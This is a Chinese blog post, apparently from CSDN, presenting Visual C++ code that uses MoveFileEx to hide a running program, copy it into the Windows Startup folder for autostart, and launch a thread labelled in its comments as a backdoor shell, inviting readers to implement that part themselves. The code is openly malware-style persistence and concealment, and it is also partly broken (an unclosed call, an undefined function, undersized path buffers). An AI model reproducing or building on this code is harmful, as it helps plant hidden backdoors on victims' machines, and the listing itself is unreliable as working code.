基于VC++2010利用API函数MoveFileEx实现程序的隐藏 自启动与自删除

               

 

详细代码如下

#include "stdafx.h"//#include "shell.h"void usage(char *);#pragma comment(linker,"/SUBSYSTEM:WINDOWS")int WINAPI WinMain(       HINSTANCE hInstance,  // handle to current instance       HINSTANCE hPrevInstance,  // handle to previous instance       LPSTR lpCmdLine,      // pointer to command line       int nCmdShow          // show state of window       ){  ::MessageBox(NULL,"I'm Hear","test",MB_OK); //得到启动目录  char szPath[100]={0}; ::GetSystemDirectory(szPath,MAX_PATH); char szDst[100]={0}; for (int i=0; i<3;i++)  szDst[i]=szPath[i]; strcat(szDst,"Documents and Settings//All Users//「开始」菜单//程序//启动//FUCK.EXE"); //printf("/n/t 现在的目录是%s/n",szDst); //得到当前程序名 TCHAR szCurPath[MAX_PATH];   memset(szCurPath,   0,   MAX_PATH);    GetModuleFileName(NULL,   szCurPath,   sizeof(szCurPath)/sizeof(TCHAR)); if (!(MoveFileEx(szCurPath,"c://RECYCLER//FK.BAK",MOVEFILE_REPLACE_EXISTING)))//若是要在不同的volume下移动文件,需要此项COPY_ALLOWED //printf("第一次移动失败/n");  ::MessageBox(NULL,"第一次移动文件失败","test",MB_OK);   if(!::MoveFileEx("c://RECYCLER//FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING))  {    ::MessageBox(NULL,"移动文件失败","test",MB_OK);   }  else printf("任务完成/n");  /*system("pause");*/   //创建并等待线程   //StartShell 为后门线程函数,大家可以自己实现相应的功能  HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);  CloseHandle(hthread);  ::WaitForSingleObject(hthread,INFINITE);   return 0;}void usage(char * s){ printf(" 用法:MoveFile 原文件名 移动后的文件名/n" }

           

再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值